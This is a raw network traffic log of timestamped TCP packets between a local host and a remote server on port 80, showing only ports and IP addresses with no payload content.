Dec 5, 2022 06:44:36.380826950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.380866051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.380909920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.380958080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.380966902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.381614923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.381659985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.381697893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.381719112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.381722927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.381768942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.381815910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.381830931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.381866932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.381917953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.381927013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.381966114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.382515907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.382560015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.382596016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.382620096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.382620096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.382671118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.382714987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.382730007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.382767916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.382816076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.382826090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.382869005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.383388042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.383435965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.383469105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.383491993 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.383497953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.383548021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.383589983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.383619070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.383642912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.383692026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.383703947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.383742094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.384310007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.384358883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.384383917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.384413004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.384464025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.384473085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.384520054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.384524107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.384577036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.384624958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.384635925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.384675980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.384737015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.385272026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.385315895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.385718107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.385761976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.385804892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.385824919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.385826111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.385874033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.385924101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.385940075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.385973930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.386022091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.386030912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.386071920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.387486935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.387518883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.387557983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.387561083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.387583017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.387597084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.387626886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.387658119 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.387679100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.387695074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.387706995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.387728930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.387780905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.388382912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.388412952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.388443947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.388474941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.388484955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.388514996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.388542891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.388581038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.388582945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.388609886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.388621092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.388721943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.392554998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392589092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392618895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392648935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392679930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392694950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.392709017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392715931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.392735004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392764091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.392764091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392796040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392823935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392841101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.392853975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392863989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.392885923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392915964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392935038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.392946005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392975092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.392993927 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.393004894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393034935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393064022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393089056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.393093109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393115997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.393124104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393152952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393173933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.393182993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393213034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393241882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393258095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.393270016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393300056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393320084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.393343925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.393850088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393899918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393930912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393959999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393989086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.393991947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.394018888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.394037962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.394048929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.394077063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.394107103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.394136906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.394165039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.394171953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.394195080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.394248962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.394901037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.394932032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.394963026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.394985914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.394993067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395010948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.395025969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395056963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395075083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.395087957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395117998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395147085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395169020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.395176888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395188093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.395515919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395548105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395577908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395600080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.395606995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395623922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.395637989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395668030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395697117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395724058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.395726919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395750999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.395756960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395787001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.395807028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.396492004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396524906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396554947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396569967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.396584034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396612883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.396614075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396644115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396675110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396683931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.396703959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396733999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396739960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.396764994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.396790981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.397304058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397355080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397387028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397416115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397439003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.397447109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397461891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.397478104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397507906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397538900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.397555113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.397556067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397588015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397615910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.397675037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.398093939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398125887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398155928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398184061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398196936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.398216963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.398224115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398255110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398276091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.398284912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398314953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398335934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.398344040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398374081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398402929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.398425102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.398449898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.399003983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399035931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399065018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399096012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399101973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.399126053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399156094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399189949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399231911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.399231911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.399234056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399296045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.399307013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399373055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399421930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.399435997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.399959087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400038958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400039911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.400068998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400119066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400135994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.400147915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400178909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400207996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400238037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400238037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.400268078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400270939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.400316954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400321960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.400347948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400377035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400399923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.400831938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400862932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400892019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400907040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.400923014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400949955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.400954962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.400985956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401014090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401036024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.401043892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401072979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.401074886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401104927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401129961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.401135921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401165962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401196957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.401665926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401698112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401730061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401740074 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.401779890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401809931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401833057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.401839972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401854992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.401870966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401900053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401927948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401947021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.401958942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.401992083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402000904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.402023077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402053118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402076006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.402102947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.402587891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402618885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402647972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402678013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402686119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.402710915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402730942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.402740002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402770996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402790070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.402800083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402831078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402859926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402885914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.402905941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402937889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402966976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.402973890 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.403002024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.403553009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403604984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403636932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403681993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403683901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.403683901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.403712034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403744936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403767109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.403774977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403805971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403834105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403836012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.403863907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403894901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403919935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.403923988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403954983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.403980017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.404005051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.404181004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404211044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404241085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404269934 CET	49704	80	192.168.2.3	66.235.200.147
